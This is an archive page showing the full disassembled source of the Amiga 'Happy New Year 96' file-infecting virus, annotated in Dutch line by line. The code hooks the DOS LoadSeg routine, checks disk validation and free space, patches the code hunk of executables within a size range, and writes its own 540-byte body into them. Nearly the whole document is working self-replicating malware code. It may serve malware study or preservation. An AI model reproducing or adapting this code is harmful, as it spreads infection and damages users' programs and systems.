home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / h / hny96 / HNY96a.asm < prev    next >
Assembly Source File  |  2022-12-23  |  12KB  |  272 lines

  1. ;-BEGIN VIRUS!!!-
  2. ; Happy New Year 96 core code
  3. ; found in monam, some-demo-i-dont-know
  4. ; routines are the core and found in both programs
  5.  
  6.  
  7. _LVOOpen        EQU    -30 
  8. _LVOClose        EQU    -36
  9. _LVORead        EQU    -42 
  10. _LVOWrite        EQU    -48
  11. _LVOAllocVec        EQU    -684
  12. _LVOFreeVec        EQU    -690
  13. _LVOOpenLibrary        EQU    -552
  14. _LVOCopyMemQuick    EQU    -630
  15. _LVOExamine        EQU    -102
  16. _LVOInfo        EQU    -114
  17. _LVOLock        EQU    -84  
  18. _LVOUnLock        EQU    -90
  19.  
  20. ABSEXECBASE        EQU    $4
  21. EXT_003E        EQU    $2300E0
  22. HUNK_CODE        EQU    $03E9
  23. ID_VALIDATED        EQU    $52
  24. ACCESS_READ        EQU    -2
  25.  
  26. LAB_0004:
  27.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;004C: 48E7FFFE        save register op stack
  28.     MOVEA.L    (ABSEXECBASE).W,A6    ;0050: 2C780004        sla execbase adres op in A6
  29.     LEA    dosname(PC),A1        ;0054: 43FA01EE        laad dosname in A1
  30.     MOVE    #$4E75,-504(A1)        ;0058: 337C4E75FE08    copieer RTS naar begin van programma
  31.     MOVEQ    #37,D0            ;005E: 7025        versie 37 van dos lib
  32.     JSR    _LVOOpenLibrary(A6)    ;0060: 4EAEFDD8        OpenLibrary (dos,37)
  33. PATCH:
  34.     MOVE.L    D0,D7            ;0064: 2E00        copieer ptr naar dos lib in D7
  35.     BEQ.S    Exit            ;0066: 6742        spring naar Exit wanneer error
  36.     MOVEQ    #0,D1            ;0068: 7200        zet D1 op 0
  37.     MOVEQ    #16,D0            ;006A: 7010        zet D0 op 16
  38.     LSL.L    #8,D0            ;006C: E188        shift D0 naar links, 8-bit, = 4096
  39.     JSR    _LVOAllocVec(A6)    ;006E: 4EAEFD54        AllocVec() (reserveer geheugen)
  40.     MOVEA.L    D0,A5            ;0072: 2A40        copieer geheugen adres in A5
  41.     BEQ.S    Exit            ;0074: 6734        exit wanneer error
  42.     MOVEA.L    A5,A1            ;0076: 224D        copieer A5, geheugen adres, naar A1
  43.     LEA    LAB_0004(PC),A0        ;0078: 41FAFFD2        laad ptr naar LAB_0004 in A0
  44.     MOVEQ    #16,D0            ;007C: 7010        D0=16
  45.     LSL.L    #8,D0            ;007E: E188        shift D0 naar links, 8-bit, 4096
  46.     JSR    _LVOCopyMemQuick(A6)    ;0080: 4EAEFD8A        CopyMemQuick() (A0,A1,D0) = (src,dest,len)
  47.     JMP    60(A5)            ;0084: 4EED003C        spring naar MEMJMP
  48. MEMJMP:
  49.     MOVEA.L    D7,A0            ;0088: 2047        copieer dos pointer naar A0
  50.     LEA    LAB_0006(PC),A1        ;008A: 43FA0024        laad LAB_0006 in A1
  51.     MOVE.L    D7,400(A1)        ;008E: 23470190        stop dos pointer in dosopslag
  52.     MOVE    #$48E7,-100(A1)        ;0092: 337C48E7FF9C    copieer $48E7 naar PATCH
  53.     MOVEA.L    -148(A0),A2        ;0098: 2468FF6C        copieer adres midden in LoadSeg()??? naar A2
  54.     CMPI    #$2F08,(A2)        ;009C: 0C522F08        check of MOVE.L A0,-(a7) in loadseg aanwezig is, al actief?
  55.     BEQ.S    Exit            ;00A0: 6708        yep, al aanwezig, exit
  56.     MOVE.L    A2,12(A1)        ;00A2: 234A000C        copieer data naar 12 longs achter A1
  57.     MOVE.L    A1,-148(A0)        ;00A6: 2149FF6C        copieer LAB_0006 in LoadSeg()????? routine
  58. Exit:
  59.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;00AA: 4CDF7FFF        Zet stack terug
  60.     RTS                ;00AE: 4E75        einde routine
  61. LAB_0006:
  62.     MOVE.L    A0,-(A7)        ;00B0: 2F08        sla A0 in stack op
  63.     LEA    variabel_0(PC),A1    ;00B2: 43FA0188        haal variabele op
  64.     MOVE.L    D1,(A1)            ;00B6: 2281        copieer D1=prog naam pointer naar variabel_0
  65.     MOVEA.L    (A7)+,A0        ;00B8: 205F        haal A0 van stack
  66.     JSR    EXT_003E        ;00BA: 4EB9002300E0    EXT_003E    EQU    $2300E0
  67.     TST.L    D0            ;00C0: 4A80        returned ok?
  68.     BEQ.S    Exit_2            ;00C2: 670A        nee, einde. (rts)
  69.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;00C4: 48E7FFFE        registers op stack
  70.     BSR.S    LAB_0008        ;00C8: 6106        branche 2 sub LAB_0008
  71.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;00CA: 4CDF7FFF        registers van stack
  72. Exit_2:
  73.     RTS                ;00CE: 4E75        einde routine
  74. LAB_0008:
  75.     MOVEA.L    variabel_0(PC),A0    ;00D0: 207A016A        copieer adres van variabel_0 naar A0
  76.     MOVEA.L    A0,A4            ;00D4: 2848        copieer A0 naar A4
  77.     MOVEQ    #45,D2            ;00D6: 742D        copieer 45 in D2
  78.     MOVEQ    #46,D3            ;00D8: 762E        copieer 46 in D3
  79.     MOVEQ    #108,D4            ;00DA: 786C        copieer 108 in D4
  80.  
  81. ; Routine wacht tot A0, 45 of inhoud van variabel_0 leeg is
  82. LAB_0009:
  83.     TST.B    (A0)            ;00DC: 4A10        byte test van inhoud eerste byte van A0
  84.     BEQ.S    LAB_000A        ;00DE: 670E        eerste byte leeg? spring naar LAB_000A
  85.     CMP.B    (A0),D2            ;00E0: B410        inhoud van variabel_0 = 45?
  86.     BEQ.S    Exit_2            ;00E2: 67EA        ja, spring naar Exit_2
  87.     CMP.B    (A0)+,D3        ;00E4: B618        nee, inhoud van variabel_0 = 46?
  88.     BNE.S    LAB_0009        ;00E6: 66F4        nee, spring naar LAB_0009
  89.     CMP.B    (A0),D4            ;00E8: B810        ja, inhoud van variabel_0 = 108 ??
  90.     BEQ.S    Exit_2            ;00EA: 67E2        ja, spring naar Einde
  91.     BRA.S    LAB_0009        ;00EC: 60EE        nee, spring naar naar begin
  92. LAB_000A:
  93.     MOVEA.L    dosopslag(PC),A6    ;00EE: 2C7A0150        copieer dospointer naar A6
  94.     MOVE.L    A4,D1            ;00F2: 220C        copieer ptr naar variabel_0 in D1 (naam van te locken file)
  95.     MOVEQ    #ACCESS_READ,D2            ;00F4: 74FE        D2 = ACCES_READ
  96.     JSR    _LVOLock(A6)        ;00F6: 4EAEFFAC        maak Lock
  97.     MOVE.L    D0,D7            ;00FA: 2E00        copieer Lock op file ??? naar D7
  98.     BEQ.S    Exit_2            ;00FC: 67D0        bij error naar Exit_2
  99.     LEA    LAB_003A_1(PC),A5    ;            copieer LAB_003A_1 naar A5
  100.     MOVE.L    D7,D1            ;0102: 2207        copieer D7 naar D1 (lock naar D1) (param 1)
  101.     MOVE.L    A5,D2            ;0104: 240D        copieer adres van infoblock reservering in D2 (param 2)
  102.     JSR    _LVOExamine(A6)        ;0106: 4EAEFF9A        examine (D1,D2)
  103.     MOVE.L    D7,D1            ;010A: 2207        D7 naar D1 (lock weer naar D1) (param 1)
  104.     MOVEA.L    A5,A3            ;010C: 264D        copieer infoblock met data naar A3
  105.     ADDA.L    #$00000200,A3        ;010E: D7FC00000200    bytesperblock=512??
  106.     MOVE.L    A3,D2            ;0114: 240B        copieer infoblock naar D2 (param 2)
  107.     JSR    _LVOInfo(A6)        ;0116: 4EAEFF8E        Info (D1,D2)
  108.     MOVE.L    D7,D1            ;011A: 2207        lock weer naar D1
  109.     JSR    _LVOUnLock(A6)        ;011C: 4EAEFFA6        UnLock D1
  110.     CMPI    #ID_VALIDATED,10(A3)    ;0120: 0C6B0052000A    check of disk gevalideerd is
  111.     BNE.S    Exit_2            ;0126: 66A6        nee, exit
  112.     MOVE.L    12(A3),D0        ;0128: 202B000C        NumBlocks naar D0
  113.     MOVE.L    16(A3),D1        ;012C: 222B0010        NumBlocksUsed naar D1
  114.     MOVEQ    #4,D2            ;0130: 7404        copieer 4 naar D2
  115.     SUB.L    D1,D0            ;0132: 9081        NumBlocksUsed-NumBlocks
  116.     CMP.L    D2,D0            ;0134: B082        is D0 kleiner dan D2?
  117.     BLT.S    Exit_2            ;0136: 6D96        ja, exit
  118.     MOVE.L    124(A5),D5        ;0138: 2A2D007C        copieer fib_size (omvang van file in bytes) naar D5
  119.     CMP.L    #$00000960,D5        ;013C: BABC00000960    is D5 kleiner dan 2400
  120.     BLT.S    Exit_2            ;0142: 6D8A        ja, te klein, exit
  121.     CMP.L    #$0001E460,D5        ;0144: BABC0001E460    is D5 kleiner dan 124000
  122.     BGT.S    Exit_2            ;014A: 6E82        nee, te groot, exit
  123.     MOVE.L    D5,D0            ;014C: 2005        ja, copieer fib_size naar D0
  124.     MOVEQ    #0,D1            ;014E: 7200        maak D1 leeg
  125.     MOVEA.L    (ABSEXECBASE).W,A6    ;0150: 2C780004        haal execbase adres op
  126.     JSR    _LVOAllocVec(A6)    ;0154: 4EAEFD54        alloceer geheugen (d0,d1) 
  127.     MOVE.L    D0,D7            ;0158: 2E00        copieer adres op geheugen naar D7
  128.     BEQ    Exit_2            ;015A: 6700FF72        error geen geheugen vrij, exit
  129.     MOVEA.L    dosopslag(PC),A6    ;015E: 2C7A00E0        haal doslib pointer op
  130.     MOVE.L    #$000003ED,D2        ;0162: 243C000003ED    copieer (HUNK_Reloc16 ???) naar D2
  131.     BSR    openfile        ;0168: 610000C0        spring naar openfile
  132.     BEQ    Exit_2            ;016C: 6700FF60        error, exit
  133.     MOVE.L    D6,D1            ;0170: 2206        copieer lock naar D1
  134.     MOVE.L    D7,D2            ;0172: 2407        copieer geheugen adres naar D2
  135.     MOVE.L    D5,D3            ;0174: 2605        copieer file size in bytes naar D3
  136.     JSR    _LVORead(A6)        ;0176: 4EAEFFD6        Lees data in geheugen (D1,D2,D3) (lock,geheugen,size)
  137.     BSR    closefile        ;017A: 610000B8        sluit file
  138.     MOVEA.L    D7,A3            ;017E: 2647        copieer geheugen adres naar A3 (nu met file data dus)
  139.     MOVE.L    #$00000087,D4        ;0180: 283C00000087    copieer 135  in D4
  140.     LEA    20(A3),A0        ;0186: 41EB0014        copieer adres vanaf 20bytes (waarschijnlijk start van prog) naar A0
  141.     MOVE.L    (A0),D0            ;018A: 2010        copieer inhoud adres A0 naar D0
  142.     ADD.L    D4,(A0)            ;018C: D990        voeg 135 toe aan inhoud op adres van A0
  143. LAB_000B:
  144.     MOVE.L    (A0)+,D1        ;018E: 2218        copieer A0 en tel 1 erbij op. copieer hunk_code id
  145.     ANDI.L    #$00FFFFFF,D1        ;0190: 028100FFFFFF    
  146.     CMP.L    #HUNK_CODE,D1        ;0196: B2BC000003E9    hebben we hier een HUNK_CODE?
  147.     BNE.S    LAB_000B        ;019C: 66F0        nee, spring naar LAB_000B
  148.     ANDI.L    #$00FFFFFF,D0        ;019E: 028000FFFFFF    ja...
  149.     CMP.L    (A0),D0            ;01A4: B090        D0 bevat zelfde als (A0)? (lengte van code)
  150.     BNE.S    Exit_3            ;01A6: 6676        nee, spring naar Exit_3
  151.     MOVE.L    (A0),D1            ;01A8: 2210        copieer lengte van code die volgen gaat naar D1
  152.     ADD.L    D4,(A0)+        ;01AA: D998        voeg 135 toe aan A0, 1 bytes achter na lengte van code
  153.     LSL.L    #2,D1            ;01AC: E589        maak er een adres van (??)
  154.     ADDA.L    D1,A0            ;01AE: D1C1        voeg size toe aan programma??
  155.     MOVE.L    A0,D4            ;01B0: 2808        copieer adres van code naar D4
  156.     MOVE.L    A0,D1            ;01B2: 2208        hetzelfde naar D1
  157.     CMPI.L    #$65772059,-14(A0)    ;01B4: 0CA865772059FFF2    gevonden?
  158.     BEQ.S    Exit_3            ;01BC: 6760        ja, spring naar Exit_3, moeten we niet hebben...
  159.     CMPI    #$4E75,-(A0)        ;01BE: 0C604E75        nee, gelijk?
  160.     BNE.S    LAB_000C        ;01C2: 6606        nee, spring naar LAB_000C
  161.     MOVE    #$4E71,(A0)        ;01C4: 30BC4E71        copieer $4E71 in adres A0
  162.     BRA.S    LAB_000F        ;01C8: 601A        spring naar LAB_000F
  163. LAB_000C:
  164.     MOVEQ    #63,D0            ;01CA: 703F        copieer 63 in D0
  165. LAB_000D:
  166.     CMPI    #$4E75,-(A0)        ;01CC: 0C604E75        check...
  167.     BEQ.S    LAB_000E        ;01D0: 6706        rts gevonden spring naar LAB_000E
  168.     SUBQ.L    #1,D0            ;01D2: 5380        verminder D0 met 1
  169.     BNE.S    LAB_000D        ;01D4: 66F6        zero flag niet gezet, error, terug begin routine
  170.     BRA.S    Exit_3            ;01D6: 6046        spring naar Exit_3
  171. LAB_000E:
  172.     MOVE    #$6000,(A0)        ;01D8: 30BC6000        copieer $6000 in locatie op adres in A0
  173.     SUB.L    A0,D1            ;01DC: 9288        haal A0 van D1 af
  174.     SUBI    #$0002,D1        ;01DE: 04410002        haal $0002 (2) van D1 af
  175.     ADD    D1,(A0)            ;01E2: D350        voeg D1 aan locatie op adres A0 toe
  176. LAB_000F:
  177.     MOVE.L    #$000003EE,D2        ;01E4: 243C000003EE    copieer 1006 (HUNK_Reloc8??) in D2
  178.     BSR.S    openfile        ;01EA: 613E        open file
  179.     BEQ.S    Exit_3            ;01EC: 6730        error, exit_3
  180.     MOVE.L    D6,D1            ;01EE: 2206        lock op file
  181.     MOVE.L    D7,D2            ;01F0: 2407        geheugen adres
  182.     MOVE.L    D4,D3            ;01F2: 2604        copieer adres van code
  183.     SUB.L    D7,D3            ;01F4: 9687        haal adres van adres af = lengte
  184.     JSR    _LVOWrite(A6)        ;01F6: 4EAEFFD0        !!!-> Write Hunk spul weg
  185.     MOVE.L    D6,D1            ;01FA: 2206        copieer lock weer in D1
  186.     LEA    LAB_0004(PC),A0        ;01FC: 41FAFE4E        haal begin van virusroutine weer op
  187.     MOVE.L    A0,D2            ;0200: 2408        copieer virus routine adres in D2
  188.     MOVE.L    #$0000021C,D3        ;0202: 263C0000021C    copieer 540 in D3 (lengte van virus prog)
  189.     JSR    _LVOWrite(A6)        ;0208: 4EAEFFD0        !!!-> schrijf virus in file
  190.     MOVE.L    D6,D1            ;020C: 2206        copieer lock in D1
  191.     MOVE.L    D4,D2            ;020E: 2404        copieer lengte in D2
  192.     ADD.L    D7,D5            ;0210: DA87        copieer geheugen adres naar D5
  193.     SUB.L    D4,D5            ;0212: 9A84        haal code adres van geheugen adres af = lengte van code
  194.     MOVE.L    D5,D3            ;0214: 2605        copieer lengte naar D3
  195.     JSR    _LVOWrite(A6)        ;0216: 4EAEFFD0        schrijf de boel weg
  196.     BSR    closefile        ;021A: 61000018        sluit de file
  197. Exit_3:
  198.     MOVEA.L    D7,A1            ;021E: 2247        copieer geheugenadres naar A1
  199.     MOVEA.L    (ABSEXECBASE).W,A6    ;0220: 2C780004        execbase adres
  200.     JSR    _LVOFreeVec(A6)        ;0224: 4EAEFD4E        FreeVec()
  201.     RTS                ;0228: 4E75        Einde routine/programma
  202. openfile:
  203.     MOVE.L    A4,D1            ;022A: 220C        copieer naam van file naar D1
  204.     JSR    _LVOOpen(A6)        ;022C: 4EAEFFE2        Open file
  205.     MOVE.L    D0,D6            ;0230: 2C00        copieer lock naar D6
  206.     RTS                ;0232: 4E75        einde subroutine
  207. closefile:
  208.     MOVE.L    D6,D1            ;0234: 2206        copieer lock naar D1
  209.     JSR    _LVOClose(A6)        ;0236: 4EAEFFDC        Sluit file
  210.     RTS                ;023A: 4E75        einde routine
  211. variabel_0:
  212.     DC.W    $0030            ;023C    00     '0'
  213.     DC.W    $639D            ;023E    'c'    157
  214. dosopslag:
  215.     DC.W    $0020            ;0240        !!!!!!!
  216.     ROXR.B    #5,D4            ;0242: EA14 ??????? LONG ???
  217. dosname:
  218.     dc.b    'dos.library',0        ;244
  219.     dc.b    '<> Happy New Year 96! <>',0
  220.     even
  221.  
  222. LAB_003A_1:
  223.     OR    (A2),D1            ;044C: 8252
  224.     ADDX.B    D0,D0            ;044E: D100
  225.     MOVE.L    (A0),D1            ;0450: 2210
  226.     MOVE    D1,(A5)+        ;0452: 3AC1
  227.     DC.W    $A702            ;0454
  228.     DC.W    $6AE1            ;0456
  229.     BCHG    D0,D3            ;0458: 0143
  230.     BCHG    D4,D4            ;045A: 0944
  231.     DC.W    $002B            ;045C
  232.     AND.L    2112(A4),D6        ;045E: CCAC0840
  233.     DC.W    $0EC2            ;0462
  234.     SUBX.B    D0,D3            ;0464: 9700
  235.     DC.W    $28AF            ;0466
  236.     DC.W    $07F5            ;0468
  237.     DC.W    $C1A8            ;046A
  238.     DC.W    $93FB            ;046C
  239.     OR.B    D4,(A1)+        ;046E: 8919
  240.     ANDI    #$CFE7,-(A0)        ;0470: 0260CFE7
  241.     ROR.B    #6,D1            ;0474: EC19
  242.     ASR.L    #6,D0            ;0476: EC80
  243.     MULS    20288(A3),D7        ;0478: CFEB4F40
  244.     ORI.L    #$50021C18,-(A7)    ;047C: 00A750021C18
  245.     MOVE.L    D0,-(A5)        ;0482: 2B00
  246.     MOVE.L    D6,(A0)+        ;0484: 20C6
  247.     DC.W    $FF66            ;0486
  248.     EOR.B    D6,D1            ;0488: BD01
  249.     CHK    D0,D3            ;048A: 4780
  250.     DC.W    $0435            ;048C
  251.     DC.W    $3796            ;048E
  252.     MOVE.L    D5,-(A5)        ;0490: 2B05
  253.     DC.W    $0571            ;0492
  254.     OR    D0,D2            ;0494: 8440
  255.     DC.W    $7519            ;0496
  256.     ADDX.B    D5,D0            ;0498: D105
  257.     BCHG    D0,(A2)+        ;049A: 015A
  258.     DC.W    $FBBB            ;049C
  259.     DC.W    $1787            ;049E
  260.     EOR.L    D3,D0            ;04A0: B780
  261.     SUB.L    (A5),D6            ;04A2: 9C95
  262.     DC.W    $02B7            ;04A4
  263.     DC.W    $35C0            ;04A6
  264.     DIVS    -(A7),D2        ;04A8: 85E7
  265.     DC.W    $2430            ;04AA
  266.     DC.W    $A311            ;04AC
  267.     DC.W    $D0B3            ;04AE
  268.     AND.B    -(A3),D0        ;04B0: C023
  269.     BSET    D3,(A1)+        ;04B2: 07D9
  270.  
  271. ; -END OF VIRUS!-
  272.